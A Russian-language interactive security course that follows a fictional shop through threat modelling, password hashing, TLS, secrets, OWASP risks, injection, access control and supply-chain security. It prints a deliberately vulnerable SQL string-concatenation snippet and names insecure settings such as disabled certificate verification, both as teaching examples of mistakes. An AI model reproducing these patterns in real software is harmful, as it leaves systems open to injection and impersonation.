Отсюда простое правило: ненужное — выключить. Старая версия API, которой пользуется одно забытое приложение; отладочный адрес; открытая наружу панель управления базой. У «Ботинка» Вера нашла старую версию /api/v0/orders: в новой проверки добавили, в старую — нет.
У «Ботинка» сервис заказов ходил в базу под учётной записью с правом делать всё, включая удаление таблиц. Сервис отчётов — тоже под ней. Если бы взломали сервис отчётов, достались бы права на всё.
Для кода это значит: всё запрещено, пока явно не разрешено (deny by default). Новый адрес API без описанных прав не должен открываться всем — он должен не открываться никому.
Пример из «Ботинка»: если сервис проверки прав не ответил за 300 мс, шлюз должен вернуть ошибку, а не «ладно, пропущу». Этот случай — новый пункт в списке OWASP 2025 (глава 9).
Разделение обязанностей
(separation of duties) Одно опасное действие требует двух людей. Разработчик не выкатывает свой код в прод без ревью; сотрудник не может сам себе поднять права.
Житейски: банковская ячейка открывается двумя ключами — вашим и ключом банка.
Не прятать вместо защищать
(no security through obscurity) Секретный адрес админки или «никто не догадается про этот параметр» — не защита. Адреса утекают в логи, в историю браузера, в код приложения. Прятать можно в дополнение к замку, но не вместо него.
Слои защиты вживую: сколько ломтиков сыра нужно
Ниже пять типовых атак на «Ботинок» и семь слоёв защиты. Включайте и выключайте слои, затем нажмите «▶ Пустить атаки». Каждая атака идёт слева направо через включённые слои. Зелёный слой её остановил, жёлтый — только ослабил. Попробуйте найти, какой минимальный набор слоёв останавливает всё, а потом — выключить любой один слой и посмотреть, что изменится.
глава 3 · угрозы карта угроз STRIDE: где у «Ботинка» тонко
Вторник. Вера предлагает не ждать следующей утечки, а пройти по схеме системы и для каждого элемента спросить: «Что здесь может пойти не так?» Это называется моделированием угроз.
Схема потоков данных: пять значков
▭ Внешняя сущность
Кто-то вне нашей власти: покупатель, платёжный провайдер, сотрудник.
◯ Процесс
То, что обрабатывает данные: сервис, шлюз, задача по расписанию.
═ Хранилище
Где данные лежат: база, очередь, файлы, бэкапы, журналы.
→ Поток
Движение данных между элементами: запрос, событие, файл.
┄ Граница доверия
(trust boundary) Линия, где меняется «кому мы верим». Каждый поток, который её пересекает, — место для проверки.
STRIDE: шесть вопросов к каждому элементу
| Буква | Угроза | Житейски | Что нарушено | Чем закрывают |
|---|---|---|---|---|
| S | Spoofing — подмена личности | Позвонили «из банка» | Аутентификация | Пароль + второй фактор, сертификаты, mTLS |
| T | Tampering — подделка данных | Исправили оценку в дневнике | Целостность | Подписи, TLS, проверка на сервере |
| R | Repudiation — отказ от действий | «Я этот чек не подписывал» | Неотказуемость | Журнал аудита, который нельзя тихо править |
| I | Information disclosure — раскрытие | Прочитали чужое письмо | Конфиденциальность | Проверка прав, шифрование, минимизация данных |
| D | Denial of service — отказ в обслуживании | Заняли все столики и ничего не заказали | Доступность | Лимиты, квоты, устойчивость |
| E | Elevation of privilege — повышение прав | Гость прошёл на кухню ресторана | Авторизация | Проверка прав на каждом действии, наименьшие привилегии |
Не каждая буква подходит каждому значку. Внешней сущности грозят S и R (кто-то притворится покупателем или откажется от заказа). Потоку — T, I, D (подменят, подслушают, перекроют). Хранилищу — T, I, D и R, если это журнал. Процессу — все шесть.
Карта «Ботинка»: нажимайте на элементы
Нажмите на любой значок, номер потока или название зоны. Под схемой появятся угрозы этого элемента и то, чем их закрываем. Кнопки с буквами подсвечивают все элементы, которым грозит эта буква.
/api/v0 на ней не окажется. Забывать хранилища «второго сорта»: бэкапы, журналы, выгрузки в Excel. Считать внутреннюю сеть одной зоной доверия (об этом — глава 13).глава 4 · пароли как хранить пароли, чтобы утечка базы не стала катастрофой
Среда. Вера находит в облачном хранилище старый бэкап базы пользователей трёхлетней давности. Он лежал с общим доступом по ссылке. В нём — почты и пароли. Не открытым текстом, а в виде хешей MD5. Борис облегчённо выдыхает: «Хеши же нельзя расшифровать». Вера отвечает: «Расшифровать нельзя. А подобрать — очень даже». Разберёмся, почему.
Сервер при входе поступает так же: берёт введённый пароль, считает хеш и сравнивает с сохранённым. Сам пароль сервер не хранит и узнать его не может. Поэтому правильный ответ сайта на «забыл пароль» — ссылка для смены, а не письмо со старым паролем. Если сайт присылает вам ваш пароль — он хранит его открытым текстом.
Проблема 1: быстрые хеши
MD5, SHA-1 и SHA-256 сделаны, чтобы быть быстрыми: ими проверяют целостность гигабайтных файлов. Для паролей это плохо. Угадывание — это миллиарды попыток, и каждая быстрая попытка стоит нападающему почти ничего. Короткий пароль из словаря при быстром хеше подбирается мгновенно.
Проблема 2: одинаковые пароли — одинаковые хеши
Если у Бориса и у тысячи других людей пароль qwerty123, у них в базе одинаковый хеш. Можно заранее посчитать хеши самых популярных паролей и просто искать совпадения.
Лекарство 1: соль
С солью у Бориса и у тысячи других людей с паролем qwerty123 хеши разные. Заранее посчитанные таблицы не работают. Подбирать приходится для каждого пользователя отдельно — работа умножается на число пользователей.
Лекарство 2: медленный хеш
| Алгоритм | Что это | Рекомендация OWASP (минимум) |
|---|---|---|
| Argon2id | Победитель конкурса Password Hashing Competition 2015, RFC 9106. Нагружает и процессор, и память — видеокартам и специальным чипам так труднее. Первый выбор. | память 19 МиБ, 2 прохода, параллелизм 1 (m=19456, t=2, p=1). Равноценные варианты: 46 МиБ и 1 проход; 12 МиБ и 3; 9 МиБ и 4; 7 МиБ и 5. |
| scrypt | Тоже требует много памяти. RFC 7914. Хороший выбор, если Argon2id недоступен. | N=217 (128 МиБ), r=8, p=1 |
| bcrypt | Проверенный временем (1999). Для старых систем. Внимание: учитывает только первые 72 байта пароля. | фактор стоимости не меньше 10 |
| PBKDF2 | Много раз повторённый обычный хеш. RFC 8018. Нужен, когда требуется соответствие стандарту FIPS-140. | HMAC-SHA-256: 600 000 итераций |
| MD5, SHA-1, SHA-256 «как есть» | Быстрые хеши общего назначения. | Для паролей нельзя, даже с солью |
Лекарство 3: перец
Перец спасает, если утекла только база, а сервер с секретами — нет. Цена: его нельзя просто поменять — все старые хеши считались с ним. Поэтому перец — дополнительный слой, а не замена соли и медленного хеша.
Живая модель: база пользователей с солью и без
Ниже учебная база «Ботинка» из четырёх человек. Хеш здесь учебный — короткий и наглядный, не настоящий SHA-256. Но ведёт он себя так же: одинаковый вход — одинаковый выход. Справа — «справочник» заранее посчитанных хешей для популярных паролей. Переключайте режимы хранения и смотрите, что остаётся видно.
Таблица users (утёкший бэкап)
Справочник популярных паролей
Калькулятор: во сколько раз дороже подбор
Посчитаем не «сколько секунд», а соотношения — они понятнее и меньше зависят от железа. Возьмём за единицу стоимость одной попытки с быстрым хешем. Двигайте длину пароля, набор символов и алгоритм. Столбики показывают, сколько работы нужно на полный перебор одного пароля и всей утёкшей базы.
символовдлина. Медленные алгоритмы дороже быстрого хеша примерно так: PBKDF2 с 600 000 итераций — в сотни тысяч раз; bcrypt с фактором 12 и Argon2id с 19 МиБ — в миллионы раз (а Argon2id ещё и съедает память, поэтому на видеокартах его параллелить труднее). Это порядки величин, а не точные замеры. Без соли вся база подбирается за ту же работу, что и один пароль: каждый угаданный хеш сравнивается сразу со всеми строками. С солью работа умножается на число пользователей.Как это звучит в требованиях
НФТ-SEC-04. Пароли пользователей хранятся только в виде хеша Argon2id (память ≥ 19 МиБ, проходов ≥ 2, параллелизм 1) с уникальной случайной солью не короче 16 байт. Параметры хеша хранятся вместе с ним, чтобы их можно было усилить без сброса паролей. НФТ-SEC-05. Минимальная длина пароля — 12 символов (15, если вход без второго фактора); максимальная — не меньше 64. Требований «заглавная + цифра + символ» нет. Пароль проверяется по списку популярных и утёкших паролей. НФТ-SEC-06. Пароль никогда не записывается в журналы, трассировки, аналитику и сообщения об ошибках — ни целиком, ни частично.
Qwerty1!. Принудительная смена пароля «раз в 90 дней» там тоже больше не рекомендуется — менять нужно при признаках компрометации. Полное устройство входа, второй фактор и ключи доступа (passkeys) — в разделе .$argon2id$….глава 5 · криптография шифры, подписи и сертификаты — на пальцах
Четверг. Олег пишет требование «данные клиентов должны быть зашифрованы» и понимает, что не знает, что конкретно просить. Шифровать чем? Где ключ? Кто может расшифровать? Разберём по порядку, без формул.
Сначала — три слова, которые путают
| Что делает | Кто может вернуть исходное | Пример | Для чего | |
|---|---|---|---|---|
| Кодирование (encoding) | Меняет форму записи | Любой, ключ не нужен | Base64, URL-кодирование | Передать байты через текстовый канал. Это не защита. |
| Шифрование (encryption) | Прячет смысл | Только владелец ключа | AES, ChaCha20, RSA | Спрятать данные от посторонних |
| Хеширование (hashing) | Делает отпечаток | Никто — только угадать и сравнить | SHA-256, Argon2id | Проверить целостность, хранить пароли |
Симметричное шифрование: один ключ на двоих
Асимметричное шифрование: почтовый ящик со щелью
Асимметричное шифрование медленное — в сотни раз медленнее симметричного. Поэтому на практике их сочетают: асимметричным способом договариваются о случайном симметричном ключе, а дальше всё шифруют им. Именно так работает TLS (глава 6).
Цифровая подпись: печать, которую не подделать
Попробуйте сами. Платёжный сервис «Ботинка» отправляет в склад сообщение о заказе и подписывает его. По дороге сообщение может кто-то изменить. Склад проверяет подпись. Хеш здесь учебный, но принцип тот же.
💳 Платёжный сервис
📦 Склад
Сертификат и удостоверяющий центр
Остаётся вопрос: откуда склад знает, что открытый ключ действительно принадлежит платёжному сервису, а не подложен кем-то ещё? Для этого есть сертификаты.
shop.botinok.ru, действителен до такого-то числа», подписанный удостоверяющим центром.Нажимайте сценарии и смотрите, что проверяет браузер Анны, когда она открывает магазин.
глава 6 · tls и mtls кто кому показывает паспорт
Теперь соберём всё из прошлой главы в протокол, который работает каждый раз, когда Анна открывает магазин. Как TLS устроен в сети — рукопожатие, порты, задержки — разобрано в разделе , а где его «снимают» — в . Здесь — только то, что важно для безопасности.
Что видно постороннему в сети
Выберите, как магазин передаёт форму входа Анны, и посмотрите, что увидит тот, кто может читать трафик: владелец публичного Wi-Fi, провайдер, взломанный роутер.
Прямая секретность
(forward secrecy) В TLS 1.3 ключ каждого соединения одноразовый и нигде не хранится. Даже если завтра украдут закрытый ключ сервера, вчерашнюю записанную переписку им не расшифровать.
Житейски: сжигать черновики после каждого разговора. Украденный сейф не расскажет, о чём говорили вчера.
HSTS
(HTTP Strict Transport Security) Заголовок, которым сайт говорит браузеру: «ходи ко мне только по HTTPS ближайший год». Защищает от подсовывания открытой версии сайта в первом запросе.
В требованиях: Strict-Transport-Security: max-age=31536000; includeSubDomains.
mTLS: паспорт показывают оба
Вспомните ловушку из раздела про шлюзы: внутренние сервисы верят заголовку X-User-Id. Если в сеть проник посторонний, он может отправить такой заголовок сам. mTLS закрывает эту дыру: сервис платежей принимает соединение только от того, кто доказал сертификатом, что он — сервис заказов. Вот как это происходит по шагам:
Кто выдаёт сертификаты сервисам: сетка и SPIFFE
Сертификат каждому сервису, продление каждые несколько часов, отзыв при удалении — руками это невозможно. Поэтому mTLS почти всегда включают сервисной сеткой (Istio, Linkerd): у неё есть свой внутренний УЦ и sidecar-прокси рядом с каждым сервисом, которые сами меняют сертификаты.
spiffe://botinok.ru/ns/prod/sa/orders (SPIFFE ID), а сам паспорт — короткоживущий сертификат, который называют SVID. SPIRE — эталонная реализация: сервер-УЦ и агенты на каждой машине.Главное слово здесь — аттестация: агент не верит программе на слово, а спрашивает у платформы (например, у Kubernetes), кто на самом деле запустил этот процесс. Посмотрите по шагам:
verify=False, InsecureSkipVerify) и забыть. Шифрование остаётся, а защита от подмены собеседника исчезает целиком. Для mTLS проверять только «подписан нашим УЦ», но не имя: тогда любой внутренний сервис может представиться любым. Сертификаты на годы вместо часов.НФТ-SEC-10. Все внешние соединения — только TLS 1.2 или 1.3 (предпочтительно 1.3); HTTP перенаправляется на HTTPS; включён HSTS с max-age не менее 1 года. НФТ-SEC-11. Все вызовы между сервисами внутри кластера — по mTLS; сервис принимает вызов только от сервисов из явного списка (по SPIFFE ID). НФТ-SEC-12. Выпуск и продление сертификатов автоматизированы; срок жизни внутренних сертификатов — не более 24 часов; оповещение за 14 дней до истечения любого публичного сертификата.
глава 7 · данные и ключи шифрование «на диске», KMS и конверт в конверте
Пятница. Вера объясняет, почему удалённый бэкап — только половина дела. «Представьте, что бэкап был бы зашифрован, а ключ лежал бы отдельно. Тогда его утечка ничего бы не значила». Олег: «А где тогда лежит ключ? И кто его охраняет?» Хороший вопрос: ключ — это тоже секрет, и его тоже можно украсть.
🚚 Шифрование «в пути»
(in transit) Данные зашифрованы, пока летят по сети. Это TLS и mTLS из главы 6. Защищает от подслушивания.
💾 Шифрование «на хранении»
(at rest) Данные зашифрованы, пока лежат: на диске, в базе, в бэкапе, в объектном хранилище. Защищает от кражи носителя и копии.
Шифрование на хранении бывает на разных уровнях, и защищают они от разного:
| Уровень | Кто расшифровывает | От чего защищает | От чего НЕ защищает |
|---|---|---|---|
| Весь диск или том в облаке | Операционная система, прозрачно | Украли физический диск или снимок тома | Всё, что идёт через работающий сервер: инъекция, чужой заказ по номеру |
| Прозрачное шифрование в СУБД (TDE) | Сама база, прозрачно | Украли файлы базы или бэкап | То же: приложение и администратор БД видят всё открытым |
| На уровне приложения (поле или запись) | Только сервис, у которого есть право на ключ | Утечку дампа, любопытного администратора БД, копию в аналитике | Взлом самого сервиса с его правами |
Зачем два ключа
Гонять терабайты через KMS медленно и дорого. Через KMS проходит только маленький ключ данных — 32 байта. Данные шифруются на месте.
Ротация без боли
(key rotation) Сменили мастер-ключ — перешифровывать терабайты не нужно. Достаточно «перезавернуть» маленькие ключи данных новым мастер-ключом.
Крипто-стирание
(crypto-shredding) Уничтожили ключ данных — данные превратились в шум везде, включая старые бэкапы. Так выполняют «право на удаление» (глава 16).
Живая модель: конверт в конверте
Слева — сервис заказов. Справа сверху — KMS с мастер-ключами, справа снизу — база. Нажимайте кнопки по порядку: запишите заказ Анны, прочитайте его, смените мастер-ключ, перезаверните ключи данных. Потом попробуйте сценарии кражи. Пакеты по стрелкам показывают, что именно летит по сети.
⚙️ Сервис заказов
🔐 KMS · мастер-ключи
🗄 База заказов
НФТ-SEC-14. Персональные данные покупателей (телефон, адрес доставки) шифруются на уровне приложения (AES-256-GCM) по схеме конвертного шифрования; мастер- ключи хранятся в KMS и не покидают его. НФТ-SEC-15. Мастер-ключи ротируются автоматически не реже раза в год и немедленно при подозрении на компрометацию; ротация не требует простоя. НФТ-SEC-16. Право расшифровки ключом «orders-pii» есть только у сервиса заказов; каждое использование ключа журналируется; более 1000 расшифровок за 5 минут — оповещение дежурному по безопасности. НФТ-SEC-17. Все бэкапы шифруются; ключ бэкапов хранится отдельно от них.
глава 8 · секреты пароль от базы в коде и ключ платёжки в git
Следующий понедельник. Вера запускает сканер секретов по всем репозиториям «Ботинка» и находит в истории одного из них файл .env с ключом от платёжного провайдера. Файл удалили два года назад. Но в истории git он остался — и остался бы навсегда.
Где секретам не место
Git-репозиторий
Даже приватный. История хранит всё навсегда, копии есть у каждого разработчика, в CI, в зеркалах. Удаление файла новым коммитом ничего не удаляет.
Образ контейнера
Каждый слой образа сохраняется. Секрет, скопированный на одном шаге и удалённый на следующем, остаётся в слое. Подробнее — в разделе .
Журналы и трассировки
«Отладочно вывели конфиг при старте». Журналы читает куча людей и систем, хранятся они годами.
Код фронтенда и мобильного приложения
Всё, что уехало в браузер или в приложение, видит пользователь. Секретов на клиенте не бывает — только публичные идентификаторы.
Задачи, чаты, вики
«Скинь пароль от стенда в личку». Такие переписки живут годами и попадают в поиск.
Переменные окружения — осторожно
Лучше, чем в коде, но их видно в описании контейнера, в дампах процессов, их любят печатать в лог при ошибке. Надёжнее — файл из хранилища секретов или прямой запрос к нему.
Хранилище секретов
Динамические секреты
(dynamic secrets) Хранилище не хранит пароль к базе, а создаёт его по запросу: отдельного пользователя БД для этого экземпляра сервиса на час, с нужными правами. Через час пользователь удаляется сам. Утёкший пароль быстро протухает, а в журнале базы видно, какой именно экземпляр что делал.
Житейски: одноразовый код от домофона для курьера.
Ротация
(rotation) Регулярная смена секретов — по расписанию и немедленно при подозрении. Чтобы ротация не роняла систему, сервис должен уметь перечитать секрет без перезапуска, а на время смены действуют оба ключа, старый и новый.
Секреты в Kubernetes
Объект Secret по умолчанию хранится в etcd лишь в Base64 — это кодирование, а не шифрование. Нужно включить шифрование etcd и строгие права, а лучше — подтягивать секреты из внешнего хранилища (External Secrets Operator, Secrets Store CSI).
Без секрета вовсе
Лучший секрет — тот, которого нет. Сборка в CI получает временный доступ к облаку по подписанному токену своей платформы (федерация OIDC) вместо вечного ключа в настройках. Подробнее — в разделе .
Ключ утёк в git: что делать по шагам
Два сценария одной и той же ошибки. В первом — как обычно реагируют в панике. Во втором — как правильно. Переключайте сценарий и идите по шагам.
Можно ли хранить секрет здесь?
Решено 0 из 0.
НФТ-SEC-20. Секреты не хранятся в репозиториях, образах, журналах и на клиенте; сервисы получают их из хранилища секретов при старте и при ротации. НФТ-SEC-21. В репозиториях включены проверка секретов перед коммитом и при отправке (pre-commit + push protection); сработка блокирует слияние. НФТ-SEC-22. Учётные данные к базам — динамические, срок жизни не более 24 ч. НФТ-SEC-23. Регламент компрометации секрета: отзыв и замена — не позднее 1 часа с момента обнаружения; проверка журналов использования старого ключа.
глава 9 · owasp top 10 десять типовых дыр веб-приложений
Когда Вера показывает находки руководству, первый вопрос: «А у других так же?» Да. Ошибки повторяются от проекта к проекту настолько, что их давно собрали в список.
Что изменилось в 2025 году: появились две новые категории — сбои цепочки поставок (расширение старого пункта про уязвимые компоненты) и неправильная обработка исключительных ситуаций. Подделка запросов со стороны сервера (SSRF) больше не отдельный пункт — она вошла в нарушение контроля доступа. Нажимайте на карточки.
глава 10 · api дыры в API: чужой заказ по номеру и лишние поля
Для API у OWASP есть отдельный список. Причина простая: у API нет «интерфейса», который хоть как-то ограничивает пользователя. Любой может отправить любой запрос с любыми полями. Как проектировать сами API — в разделе ; здесь — как их ломают по ошибке и как закрывают.
| Код | Название (OWASP API Security Top 10 — 2023) | На «Ботинке» |
|---|---|---|
| API1 | Broken Object Level Authorization — нет проверки прав на объект (BOLA) | Заказ открывается по номеру без проверки владельца — наша утечка |
| API2 | Broken Authentication — сбои аутентификации | Нет лимита на попытки входа, токены не истекают |
| API3 | Broken Object Property Level Authorization — нет проверки прав на поля объекта | Можно прислать поле role и стать админом; ответ отдаёт лишние поля |
| API4 | Unrestricted Resource Consumption — неограниченное потребление ресурсов | ?limit=1000000 в поиске кладёт базу; SMS с кодом можно слать без предела за счёт магазина |
| API5 | Broken Function Level Authorization — нет проверки прав на функцию | Покупатель вызывает POST /admin/prices — кнопки нет, а адрес работает |
| API6 | Unrestricted Access to Sensitive Business Flows — нет защиты чувствительных бизнес-процессов | На выходе лимитированной модели боты раскупают всё за секунды |
| API7 | Server Side Request Forgery — подделка запросов со стороны сервера (SSRF) | «Загрузить фото по ссылке» ходит во внутреннюю сеть |
| API8 | Security Misconfiguration — небезопасная конфигурация | Ошибки со стеком вызовов, лишние HTTP-методы, нет заголовков безопасности |
| API9 | Improper Inventory Management — неучтённые API | Забытая /api/v0 без новых проверок |
| API10 | Unsafe Consumption of APIs — слепое доверие чужим API | Ответ партнёрской службы доставки вставляется в страницу без проверки |
BOLA — самая частая дыра API
Почему шлюз это не ловит: шлюз знает, кто пришёл (Анна), но не знает, чей заказ №10451. Это знает только сервис заказов — у него база. Поэтому проверка владельца живёт в сервисе, в каждом методе, который принимает номер объекта.
Живая модель: Анна меняет номер заказа
Анна — честный покупатель. Она открыла свой заказ №10452 и из любопытства поменяла в адресе цифру. Выберите, как устроен сервер, двигайте номер и отправляйте запрос. Смотрите на запрос, на код сервера (строка, которая сработала, подсвечена) и на ответ.
Запрос
Код сервера
Ответ
403 или 404?
На чужой объект можно ответить «запрещено» (403) или «не найдено» (404). 404 лучше: по 403 посторонний узнаёт, что такой заказ существует. Главное — одинаковый ответ для «чужого» и «несуществующего».
Почему «непредсказуемые номера» не лекарство
Длинный случайный номер (UUID) усложняет угадывание, но номера утекают: в письмах, ссылках «поделиться», журналах, истории браузера. Это прятанье, а не замок. Случайные номера — хорошее дополнение, но проверка владельца обязательна всегда.
Лишние поля: массовое присваивание и лишние данные
Бизнес-процесс как мишень: выход лимитированной модели
«Ботинок» продаёт 500 пар лимитированной модели. Запросы корректные, права проверены, но программы-боты раскупают всё за секунды, а потом перепродают вдвое дороже. Это API6: уязвим не код, а бизнес-процесс, который никто не рассматривал как мишень.
Лимит на человека
Одна пара в одни руки: на аккаунт, на телефон, на карту, на адрес доставки.
Другой процесс продажи
Вместо «кто первый нажал» — запись в лотерею на сутки. Скорость перестаёт давать преимущество.
Отличать людей от программ
Проверка на бота в чувствительных шагах, анализ поведения, подозрительные признаки — на ручную проверку.
глава 11 · инъекции и браузер SQL-инъекция, XSS, CSRF, CORS и SSRF
Пять названий, которые звучат на каждом собеседовании и в каждом отчёте о проверке. У всех одна общая мысль: программа перепутала данные с командами или поверила не тому.
Инъекция: данные, которые стали командой
Ниже — поиск по каталогу «Ботинка». Слева сервер склеивает запрос из строк. Справа — передаёт ввод параметром, отдельно от текста запроса. Это имитация: ничего не выполняется, мы только показываем, какой SQL получится и как база его поймёт. Вводите текст или нажимайте готовые примеры.
❌ Склейка строк
sql = "SELECT id, name, price FROM products " +
"WHERE name ILIKE '%" + q + "%' AND hidden = false";
db.query(sql);
✅ Параметризованный запрос
sql = "SELECT id, name, price FROM products " +
"WHERE name ILIKE $1 AND hidden = false";
db.query(sql, ["%" + q + "%"]);
$1 и разбирает его структуру, а значение приходит отдельно и никогда не разбирается как SQL. Какие бы символы ни ввела Анна, это просто текст для поиска.Где параметры не помогут
Имя таблицы, столбца, направление сортировки параметром не передать. Для них — только выбор из заранее известного списка (allowlist): пришло sort=price — берём столбец из словаря, пришло что-то иное — отказ.
Второй слой
Учётная запись сервиса в базе — с наименьшими правами: каталогу нужно читать товары, а не таблицу пользователей и тем более не удалять таблицы. Даже пропущенная инъекция тогда достаёт меньше.
ORM не волшебство
Библиотеки доступа к данным (Hibernate, SQLAlchemy, Prisma) параметризуют сами — пока вы не пишете «сырые» строки запросов внутри них. Сырой запрос со склейкой в ORM так же опасен.
Тот же принцип везде
Команды операционной системы, LDAP, шаблоны писем, запросы к NoSQL и даже подсказки языковым моделям (prompt injection): если данные склеиваются с инструкциями, они могут стать инструкциями. Лекарство всегда одно — разделять данные и команды.
XSS: чужой скрипт на вашей странице
У «Ботинка» — отзывы о товаре. Если сервер вставит текст отзыва в страницу как HTML, любой тег в отзыве станет частью страницы. Посмотрите, во что превращается один и тот же отзыв:
Хранимый
(stored) Код сохранён на сервере — в отзыве, имени, описании — и срабатывает у каждого, кто откроет страницу.
Отражённый
(reflected) Код приходит в параметре ссылки и сервер возвращает его в странице. Срабатывает у того, кого уговорили нажать ссылку.
В самом браузере
(DOM-based) Сервер ни при чём: скрипт страницы сам берёт кусок адреса и вставляет в страницу через innerHTML.
innerHTML, dangerouslySetInnerHTML, v-html. Если нужно разрешить форматирование — очистка HTML проверенной библиотекой-санитайзером. Заголовок Content-Security-Policy запрещает браузеру выполнять скрипты не из разрешённых мест. Cookie сессии с флагом HttpOnly недоступна скриптам вообще.CSRF: чужой сайт жмёт кнопку за вас
Strict — никогда. Lax — только при обычном переходе по ссылке (GET), но не для форм и скриптов. None — всегда (и тогда обязателен Secure).SameSite=Lax или Strict — выставляйте явно, не полагайтесь на умолчания браузеров. Для форм — токен против подделки (anti-CSRF token), который чужой сайт не знает. Проверка заголовков Origin и Sec-Fetch-Site. Никаких изменений через GET. Для опасных действий (смена почты, вывод денег) — повторное подтверждение. Если API принимает токен только в заголовке Authorization, а не в cookie, классический CSRF к нему неприменим — браузер не приложит такой заголовок сам.CORS: что это такое и чем он НЕ является
Access-Control-Allow-Origin он говорит браузеру, каким чужим страницам можно читать его ответы.CORS — НЕ защита сервера
Его соблюдает только браузер. Программа, скрипт на сервере, консольная утилита шлют любые запросы и читают любые ответы. Доступ защищают аутентификация и авторизация, а не CORS.
CORS — НЕ защита от CSRF
Для «простых» запросов (обычная форма) браузер отправляет запрос и лишь потом решает, показать ли ответ скрипту. Действие на сервере уже произошло. Для «сложных» запросов (свои заголовки, PUT, JSON) браузер сначала спрашивает разрешение отдельным запросом OPTIONS (preflight).
Проверьте сами. API «Ботинка» живёт на api.botinok.ru, Анна вошла в магазин, её cookie сессии — у браузера. Выберите, кто делает запрос и как настроен сервер.
SSRF: сервер, который ходит «куда скажут»
У «Ботинка» есть функция «прикрепить к отзыву фото по ссылке»: сервер сам скачивает картинку. Если адрес не проверять, ссылкой может оказаться внутренняя админка или служебный адрес облака, где лежат временные ключи доступа самого сервера.
глава 12 · доступ кто что может: RBAC, ABAC, ReBAC и политика как код
После утечки Олегу поручают описать права доступа заново. Сначала он пишет по привычке: «покупатель может смотреть заказы, менеджер — менять цены». И сразу видит дыру: какие заказы? какие цены? Словами «роль может действие» права на конкретный объект не описать. Для этого есть три модели.
Конструктор: кто разрешит, кто запретит и почему
Выберите пользователя, объект и действие. Три колонки — ответы трёх моделей с правилом, которое сработало. Ниже — что правильно с точки зрения бизнеса. Оранжевая рамка — модель ошиблась. Поищите случаи, где модели расходятся.
Политика как код
if, а отдельными файлами, которые проходят ревью, тестируются и версионируются. Самый известный движок — Open Policy Agent (OPA, выпускник CNCF) с языком Rego.Rego (OPA 1.x): правило для заказов
package botinok.orders
default allow := false # всё запрещено по умолчанию
allow if { # покупатель — свои заказы
input.action == "read"
input.order.owner_id == input.user.id
}
allow if { # менеджер — заказы своего магазина
input.action in {"read", "update"}
"manager" in input.user.roles
input.order.store == input.user.store
}OpenFGA: модель отношений
model
schema 1.1
type user
type store
relations
define manager: [user]
type order
relations
define owner: [user]
define store: [store]
define can_view: owner or manager from store
define can_edit: manager from store
# факты-связи (кортежи):
# order:10452#owner@user:anna
# order:10452#store@store:msk
# store:msk#manager@user:iraГде проверять доступ
🛎 Шлюз — грубо
Есть ли токен, есть ли у роли доступ к разделу вообще (/admin/** — только сотрудникам). Шлюз не знает данных и не ответит, чей заказ.
⚙️ Сервис — точно
Проверка на конкретный объект и конкретные поля — там, где лежат данные. Плюс фильтрация списков: «мои заказы» строятся запросом с условием владельца, а не фильтром на фронте.
🖥 Фронтенд — не защита
Скрытая кнопка — удобство, а не замок. Запрос можно отправить руками, минуя интерфейс. Проверка «на кнопке» решает, что показать, но не что разрешить.
глава 13 · нулевое доверие конец «крепости со рвом»
Разбирая инцидент, Вера задаёт неприятный вопрос: «Хорошо, в этот раз зашли через API. А если бы зашли через сервис отзывов — там старая библиотека. Куда бы дошли?» Борис: «Ну, дальше внутренняя сеть, там всё доверенное…» Вот в этом «всё доверенное» и проблема.
Живая модель: взломан сервис отзывов
Представим, что через старую библиотеку захвачен сервис отзывов. Выберите модель сети и нажмите «▶ Посмотреть, куда дойдёт». Каждая попытка — обращение к соседнему узлу. Красное — узел захвачен или данные получены, зелёное — узел отказал.
Из чего складывается на практике
mTLS и политики «кто кого вызывает» в сервисной сетке; сетевые политики (NetworkPolicy) в Kubernetes; отдельные учётки к базам для каждого сервиса; доступ сотрудников через проверку устройства и второй фактор вместо «всё открыто из VPN»; журналы всех отказов.
Чем платим
Каждое новое взаимодействие нужно явно разрешить — иначе оно не заработает. Нужна инвентаризация «кто кого вызывает» и её поддержка. Больше сертификатов и политик, больше работы у платформенной команды. Зато ответ на вопрос «что будет, если взломают X» становится коротким.
глава 14 · цепочка поставок чужой код, который стал вашим
Та самая старая библиотека в сервисе отзывов напомнила о неприятном факте: в «Ботинке» своего кода — процентов десять. Остальное — открытые библиотеки, базовые образы, сборочные инструменты, плагины CI. Всё это кто-то написал, и всему этому мы доверяем, часто не глядя.
Как это случалось
2020 — взломанная система сборки одного производителя ПО для мониторинга разослала клиентам обновление с закладкой, подписанное настоящим ключом. 2021 — Log4Shell: уязвимость в популярной библиотеке журналирования Java оказалась в тысячах систем, и многие долго не могли даже найти, где она у них. 2024 — закладка в утилите сжатия xz, которую годами готовил «помощник» сопровождающего. Сентябрь 2025 — через фишинг угнали учётную запись сопровождающего популярных npm-пакетов, а следом самораспространяющийся червь в npm похищал токены разработчиков.
Что общего
Ни в одном случае не ломали код самой пострадавшей компании. Ломали поставщика: сборку, учётку сопровождающего, реестр. И почти везде главным вопросом первых дней было: «А где у нас это вообще используется?»
SBOM: состав продукта
{
"bomFormat": "CycloneDX",
"specVersion": "1.6",
"metadata": { "component": { "name": "botinok-reviews", "version": "3.14.0" } },
"components": [
{ "type": "library", "group": "org.apache.logging.log4j", "name": "log4j-core",
"version": "2.14.1", ← вот она, старая версия
"purl": "pkg:maven/org.apache.logging.log4j/log4j-core@2.14.1" },
{ "type": "library", "name": "jackson-databind", "version": "2.17.2", "purl": "…" }
]
}
Когда выходит новость о дыре в библиотеке, вопрос «где она у нас?» с SBOM решается поиском по всем перечням за минуты. Без SBOM — неделями, по одному репозиторию.
Подпись артефактов и происхождение сборки
| Уровень сборки | Что требуется | От чего защищает |
|---|---|---|
| Build L0 | Ничего | Ни от чего |
| Build L1 | Происхождение создаётся автоматически при сборке | От ошибок и путаницы: видно, из чего собрано |
| Build L2 | Сборка на выделенной платформе, происхождение подписано ею | От подделки происхождения после сборки |
| Build L3 | Укреплённая платформа: сборки изолированы друг от друга, ключ подписи недоступен шагам сборки | От вмешательства в сборку изнутри, в том числе от соседних сборок |
Путь кода до прода: где подменяют и чем защищают
Пройдите путь от разработчика до работающего сервиса. На каждом шаге — что может пойти не так и какая мера это закрывает.
